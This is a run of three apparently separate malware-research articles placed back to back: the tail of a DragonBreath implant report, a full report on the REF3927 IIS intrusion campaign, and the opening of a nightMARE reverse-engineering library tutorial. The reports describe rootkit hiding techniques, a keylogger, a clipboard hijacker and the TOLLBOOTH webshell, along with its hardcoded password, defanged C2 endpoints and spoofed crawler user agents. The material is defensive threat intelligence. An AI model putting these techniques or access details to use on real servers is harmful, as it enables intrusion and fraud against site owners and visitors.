    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights
    
    // +0x285
    char data[?];             
    
    // +0x305
    uint8_t telegram_installed;      // 1 if Telegram installed
    
    // +0x306
    uint8_t telegram_running;        // 1 if Telegram.exe running
    
    // +0x307
    // (padding to 0x308 bytes)
};

C2 commands

Request messages sent from the C2 server to the implant follow the structure:

struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};

The implant decrypts C2 messages through the following formula:

RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)

Below is a list of available commands that, for the most part, remain the same as 2 years ago:

Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.

System Logger

In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to %ProgramData%\microsoft.dotnet.common.log and can be enabled or disabled via a registry key at HKEY_CURRENT_USER\offlinekey\open (1 to enable, 0 to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.

The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.

The malware then enters a monitoring loop to capture three categories of information.

• First, it monitors the clipboard using OpenClipboard and GetClipboardData, logging any changes to text content with the prefix [剪切板:].
• Second, it tracks window focus changes via GetForegroundWindow, logging the active window title and timestamp with the prefixes [标题:] and [时间:], respectively, whenever the user switches applications.
• Third, it retrieves buffered keyboard events from the DirectInput8 device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix [内容:].

Clipboard Hijacker

The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under HKEY_CURRENT_USER\offlinekey with keys clipboard (enable/disable feature), charac (search string), characLen (search length), and newcharac (replacement string).

It registers a window class named ClipboardListener_Class_Toggle and creates a hidden window titled ClipboardMonitor to receive clipboard change notifications. The window procedure handles WM_CLIPBOARDUPDATE (0x31D) messages by verifying clipboard sequence numbers with GetClipboardSequenceNumber to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via EmptyClipboard and SetClipboardData.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Credential Access
• Discovery
• Collection
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Command and Scripting Interpreter: Windows Command Shell
• System Services: Service Execution
• Create or Modify System Process: Windows Service
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Access Token Manipulation
• Impair Defenses: Disable or Modify Tools
• Impair Defenses: Disable or Modify System Firewall
• Indicator Removal: Clear Windows Event Logs
• Hijack Execution Flow: DLL Side-Loading
• Process Injection
• Masquerading: Match Legitimate Name or Location
• Modify Registry
• Subvert Trust Controls: Code Signing Policy Modification
• Input Capture: Keylogging
• Clipboard Data
• Process Discovery
• System Information Discovery
• System Owner/User Discovery
• Software Discovery: Security Software Discovery
• Non-Application Layer Protocol
• Encrypted Channel: Symmetric Cryptography

Mitigations

Detection

• Potential Evasion via ClipUp Execution
• Suspicious Remote Memory Allocation
• Potential Suspended Process Code Injection
• Remote Memory Write to Trusted Target Process
• Remote Process Memory Write by Low Reputation Module
• Process Memory Write to a Non Child Process
• Unbacked Shellcode from Unsigned Module
• UAC Bypass Attempt via WOW64 Logger DLL Side-Loading
• Network Connect API from Unbacked Memory
• Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory
• Network Module Loaded from Suspicious Unbacked Memory

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:

• Windows.Trojan.RoningLoader
• Windows.Trojan.DragonBreath

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://nsis.sourceforge.io/Main_Page
• https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
• https://github.com/Jemmy1228/HookSigntool
• https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
• https://hijacklibs.net/entries/microsoft/built-in/wow64log.html
• https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function
• https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
• https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43
• https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/
• https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/
• https://github.com/sin5678/gh0st

In September 2025, Texas A&M University System (TAMUS) Cybersecurity, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell framework, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.

A similar chain of events was first reported by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also detailed in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with Validin, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.

Key takeaways

• Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys
• Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware
• Threat actors adapted the open source “Hidden” rootkit project to hide their presence
• The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities
• This campaign included large-scale exploitation across geographies and industry verticals

Campaign Overview

Attack vector

Last month, Elastic Security Labs and Texas A&M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, ValidationKey and DecryptionKey, which are used to secure ASP.NET features such as ViewState and authentication cookies.

ViewState is a mechanism used by ASP.NET web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, ViewState allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (__VIEWSTATE) on the page that is serialized and encoded in Base64. This ViewState field is susceptible to deserialization attacks, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.

Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload generator. The __VIEWSTATE field contains a URL-encoded and Base64-encoded payload that will perform a whoami and write a file to a directory. With a successful exploitation request, the server will respond with an HTTP/1.1 500 Internal Server Error.

Post-compromise activity

Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.

With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.

Godzilla EKP analysis

One of the main tools used by this group is a Godzilla-forked framework called Z-Godzilla_ekp written by ekkoo-z. This tool piggybacks off the previous Godzilla project by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:

• Discovery/enumeration capabilities
• Privilege escalation techniques
• Command execution/file execution
• Shellcode loader, meterpreter, in-memory PE execution
• File management, zipping utility
• Cred stealing plugin (lemon) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials
• Browser password scraping
• Port scanning, HTTP proxy configuration, note-taking

Below is a network traffic example showing the operator traffic to the webshell (error.aspx) using Z-Godzilla_ekp. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.

Rootkit analysis

The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit HIDDENDRIVER and the userland application HIDDENCLI.

This malicious software is a modified version of the open source rootkit Hidden, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.

Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:

• InitializeConfigs
• InitializeKernelAnalyzer
• InitializePsMonitor
• InitializeFSMiniFilter
• InitializeRegistryFilter
• InitializeDevice
• InitializeStealthMode

To prepare its internal components before populating its driver object and associated fields, such as major functions.

The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.

InitializeConfigs

The rootkit's initial action is to run the InitializeConfigs function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.

The following table summarizes the configuration parameters that the rootkit extracts from the registry:

InitializeKernelAnalyzer

Its purpose is to dynamically scan the kernel memory to find the addresses of the PspCidTable and ActiveProcessLinks that are needed.

The PspCidTable is the kernel's structure that serves as a table for process and thread IDs, while ActiveProcessLinks under the _EPROCESS structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like Process Explorer.

LookForPspCidTable

It searches for the PspCidTable address by disassembling the function PsLookupProcessByProcessIdwith the library Zydis and parsing it.

LookForActiveProcessLinks

This function determines the offset of the ActiveProcessLinks field within the _EPROCESS structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the ActiveProcessLinks field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.

InitializePsMonitor

InitializePsMonitor sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.

It first initializes three AVL tree structures to hold information (rules) for excluding, protecting, and hiding processes. It uses RtlInitializeGenericTableAvl for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.

Registering object manager callback with (ObRegisterCallbacks)

This hook registers the ProcessPreCallback and ThreadPreCallback functions. The kernel's Object Manager executes this code before it completes any request to create or duplicate a handle to a process or thread.

When a process tries to get a handle on another process, the callback function ProcessPreCallback is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION.

This will ensure that processes cannot interact with/inspect, or kill the protected process.

The same mechanism applies to threads.

Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)

The rootkit registers a callback with the PsSetCreateProcessNotifyRoutineEx API on process creation. When a new process is launched, this callback runs a function CheckProcessFlags that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its excluded, protected, and hidden flags accordingly.

Behavior based on flags:

• Excluded
  • The rootkit will ignore the process and just let it run as expected.
• Protected
  • The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in ProcessPreCallback.
• Hidden
  • The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a postponeHiding flag that will be explained below.

The Image Load callback (PsSetLoadImageNotifyRoutine)

This registers the LoadProcessImageNotifyCallback using PsSetLoadImageNotifyRoutine, which the kernel calls whenever an executable image (a .exe or .dll) is loaded into a process's memory.

When the image is loaded, the callback checks the postponeHiding flag; if set, it calls UnlinkProcessFromCidTable to remove it from the master process ID table (PspCidTable).

InitializeFSMiniFilter

The function defines its capabilities in the FilterRegistration structure(FLT_REGISTRATION). This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:

• IRP_MJ_CREATE: Intercepts any attempt to open or create a file or directory.
• IRP_MJ_DIRECTORY_CONTROL: Intercepts any attempt to list the contents of a directory.

FltCreatePreOperation(IRP_MJ_CREATE)

This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to STATUS_NO_SUCH_FILE, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.

FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)

This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.

InitializeRegistryFilter

After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The InitializeRegistryFilter function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.

It registers a callback using the CmRegisterCallbackEx API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status STATUS_NOT_FOUND.

InitializeDevice

The InitializeDevice function does the driver initialization needed, and it sets up an IOCTL communication so that the userland application can communicate with it directly

The following is a table describing each IOCTL command handled by the driver.

InitializeStealthMode

After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: InitializeStealthMode. If the configuration flag Kbj_YinshenMode is enabled, it will hide every artifact associated with the rootkit, including registry keys, the .sys file, and other related components, using the same techniques described above.

Code Variations

While the malware is heavily based on the HIDDENDRIVER source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.

The original code in the IsProcessExcluded function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.

The original code's callback for filtering system information (including files, directories, and registries) used the IsDriverEnabled function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.

RMM usage

The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (80/443) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.

RMMs continue to increase in popularity for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.

Blocking the mass of currently active RMMs and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.

IIS module analysis

The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by Ahnlab and the security researcher, @Azaka. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.

Malware Config Structure

TOLLBOOTH retrieves its configuration dynamically from hxxps://c[.]cseo99[.]com/config/<victim_HTTP_host_value>.json, and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, hxxps://c[.]cseo99[.]com/config/127.0.0.1.json responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this GitHub Gist, and we will reference how some of the fields are used as appropriate.

For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\. For the managed module, these are AES-encrypted with key YourSecretKey123 and IV 0123456789ABCDEF, Gzip-compressed, and stored at C:\\Windows\\Temp\\AcpLogs\\.

Webshell

TOLLBOOTH exposes a webshell at the /mywebdll path, requiring a password of hack123456! for file uploads and execution of commands. Form submission sends a POST request to the /scjg endpoint.

The password is hardcoded in the binary, and this webshell feature is present in both v1.6.0 and v1.6.1 of the native version of TOLLBOOTH.

The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of multipart/form-data fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the multipart/form-data parts, a successful file upload can still be triggered.

Management Channel

TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):

Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;

The /health endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at c[.]cseo99[.]com, disk space information, the module's installation path, and the version of TOLLBOOTH.

The /debug endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.

The parsed configuration is accessible at /conf.

The /clean endpoint allows the operator to clear the current configuration by deleting the config files stored locally (clean?type=conf) in order to update them on the victim server, clear any other temporary caches the malware uses (clean?type=conf), or clear both - everything in the C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\ path (clean?type=all).

SEO Cloaking

The main goal of TOLLBOOTH is SEO cloaking, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.

TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.

Both the native and the managed modules are implemented almost identically. The only difference is that native modules v1.6.0 and v1.6.1 check both the User Agent and Referer against the seoGroupRefererMatchRules list, and the .NET module v1.6.1 checks the User Agent against the seoGroupUaMatchRules list and Referer against the seoGroupRefererMatchRules list.

Based on the current configuration, the values for seoGroupUaMatchRules and seoGroupRefererMatchRules are googlebot and google, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both bing and yahoo suggests that those search engines were targeted in the past as well.

The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.

The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the affLinkMainWordSeoResArr configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the affLinkSeoResArr field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as link farming, is designed to artificially inflate search engine rankings across the entire network of compromised sites.

Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.

URL path prefixes to the SEO pages contain words or phrases from the seoGroupUrlMatchRules config field. This is also referenced in the site redirection logic targeting visitors. These are currently:

• stock
• invest
• summary
• datamining
• market-outlook
• bullish-on
• news-overview
• news-volatility
• video/
• app/
• blank/

Templates and content for SEO pages are also externally retrieved from URIs that look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the config. Here is an example of what one of the SEO pages looks like:

For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to hxxps://api[.]aseo99[.]com/client/landpage. If the request is successful, the server responds with a JSON object containing a specific landpageUrl, which becomes the destination for the redirect.

If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (window.location.href) and sent to the victim’s browser, forcing an immediate redirection.

Page Hijacker

For the native modules, if the URI path contains xlb, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, mlxya[.]oss-accelerate[.]aliyuncs[.]com/<12_random_alphanumeric_characters>, which is used to retrieve an obfuscated next-stage JavaScript payload.

The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., xlbh, mxlb) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href= or ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses document.write() to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.

Campaign targeting

While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.

We then partnered with @SreekarMad at Validin to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.

At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.

These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.

The collaboration with Validin and Texas A&M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.

Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.

Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.

Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.

Geography

The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a .co.uk domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.

Diamond model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

Remediating REF3927

Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.

Therefore, remediation must include rotation of machine keys to a new, properly generated key.

Conclusion

The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.

The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as Elastic Defend during potential incidents.

Detection logic

Detection rules

• Web Shell Detection: Script Process Child of Common Web Processes

Prevention rules

• Suspicious Execution via Windows Services
• Potential Shellcode Injection via a WebShell
• Execution from Suspicious Directory

YARA signatures

Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:

• Windows.Trojan.Tollbooth
• Windows.Trojan.HiddenCli
• Windows.Trojan.HiddenDriver

REF3927 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Credential Access
• Collection
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• OS Credential Dumping
• Hide Artifacts: Hidden Files and Directories
• Data from Local System
• Rootkit
• Valid Accounts

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/
• https://asec.ahnlab.com/en/87804/
• https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/
• https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
• https://github.com/ekkoo-z/Z-Godzilla_ekp
• https://x.com/AzakaSekai_/status/1969294757978652947

Addendum

HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:

• https://x.com/securechicken/status/1980715257791193420
• https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

Since the creation of Elastic Security Labs, we have focused on developing malware analysis tools to not only aid in our research and analysis, but also to release to the public. We want to give back to the community and give back as much as we get from it. In an effort to make these tools more robust and reduce code duplication, we created the Python library nightMARE. This library brings together various useful features for reverse engineering and malware analysis. We primarily use it to create our configuration extractors for different widespread malware families, but nightMARE is a library that can be applied to multiple use cases.

With the release of version 0.16, we want to officially introduce the library and provide details in this article on some interesting features offered by this module, as well as a short tutorial explaining how to use it to implement your own configuration extractor compatible with the latest version of LUMMA (as of the post date).

nightMARE features tour

Powered by Rizin

To reproduce the capabilities of popular disassemblers, nightMARE initially used a set of Python modules to perform the various tasks necessary for static analysis. For example, we used LIEF for executable parsing (PE, ELF), Capstone to disassemble binaries, and SMDA to obtain cross-reference (xref) analysis.

These numerous dependencies made maintaining the library more complex than necessary. That's why, in order to reduce the use of third-party modules as much as possible, we decided to use the most comprehensive reverse engineering framework available. Our choice naturally gravitated towards Rizin.

Rizin is an open-source reverse engineering software, forked from the Radare2 project. Its speed, modular design, and almost infinite set of features based on its Vim-like commands make it an excellent backend choice. We integrated it into the project using the rz-pipe module, which makes it very easy to create and instrument a Rizin instance from Python.

Project structure

The project is structured along three axes:

• The "analysis" module contains sub-modules useful for static analysis.
• The "core" module contains commonly useful sub-modules: bitwise operations, integer casting, and recurring regexes for configuration extraction.
• The "malware" module contains all algorithm implementations (crypto, unpacking, configuration extraction, etc.), grouped by malware family and, when applicable, by version.

Analysis modules

For static binary analysis, this module offers two complementary working techniques: disassembly and instruction analysis with Rizin via the reversing module, and instruction emulation via the emulation module.

For example, when constants are manually moved onto the stack, instead of trying to analyze the instructions one by one to retrieve the immediates, it is possible to emulate the entire piece of code and read the data on the stack once the processing is done.

Another example that we will see later in this article is that, in the case of cryptographic functions, if it is complex, it is often simpler to directly call it in the binary using emulation than to try to implement it manually.

Reversing module

This module contains the Rizin class, which is an abstraction of Rizin's functionalities that send commands directly to Rizin thanks to rz-pipe and offers the user an incredible amount of analysis power for free. Because it’s an abstraction, the functions that the class exposes can be easily used in a script without prior knowledge of the framework.

Although this class exposes a lot of different features, we are not trying to be exhaustive. The goal is to reduce duplicated code for recurring functionalities across all our tools. However, if a user finds that a function is missing, they can directly interact with the rz-pipe object to send commands to Rizin and achieve their goals.

Here is a short list of the functions we use the most:

# Disassembling
def disassemble(self, offset: int, size: int) -> list[dict[str, typing.Any]]
def disassemble_previous_instruction(self, offset: int) -> dict[str, typing.Any]
def disassemble_next_instruction(self, offset: int) -> dict[str, typing.Any]

# Pattern matching
def find_pattern(
    self, 
    pattern: str,
    pattern_type: Rizin.PatternType) -> list[dict[str, typing.Any]]
def find_first_pattern(
    self,
    patterns: list[str],
    pattern_type: Rizin.PatternType) -> int

# Reading bytes
def get_data(self, offset: int, size: int | None = None) -> bytes
def get_string(self, offset: int) -> bytes

# Reading words
def get_u8(self, offset: int) -> int
...
def get_u64(self, offset: int) -> int

# All strings, functions
def get_strings(self) -> list[dict[str, typing.Any]]
def get_functions(self) -> list[dict[str, typing.Any]]

# Xrefs
def get_xrefs_from(self, offset: int) -> list
def get_xrefs_to(self, offset: int) -> list[int]

Emulation module

In version 0.16, we reworked the emulation module to take full advantage of Rizin's capabilities to perform its various data-related tasks. Under the hood, it’s using the Unicorn engine to perform emulation.

For now, this module only offers a "light" PE emulation with the class WindowsEmulator, light in the sense that only the strict minimum is done to load a PE. No relocations, no DLLs, no OS emulation. The goal is not to completely emulate a Windows executable like Qiling or Sogen, but to offer a simple way to execute code snippets or short sequences of functions while knowing its limitations.

The WindowsEmulator class offers several useful abstractions.

# Load PE and its stack
def load_pe(self, pe: bytes, stack_size: int) -> None

# Manipulate stack
def push(self, x: int) -> None
def pop(self) -> int

# Simple memory management mechanisms
def allocate_memory(self, size: int) -> int
def free_memory(self, address: int, size: int) -> None

# Direct ip and sp manipulation
@property
def ip(self) -> int
@property
def sp(self) -> int

# Emulate call and ret
def do_call(self, address: int, return_address: int) -> None
def do_return(self, cleaning_size: int = 0) -> None

# Direct unicorn access
@property
def unicorn(self) -> unicorn.Uc

The class allows the registration of two types of hooks: normal unicorn hooks and IAT hooks.

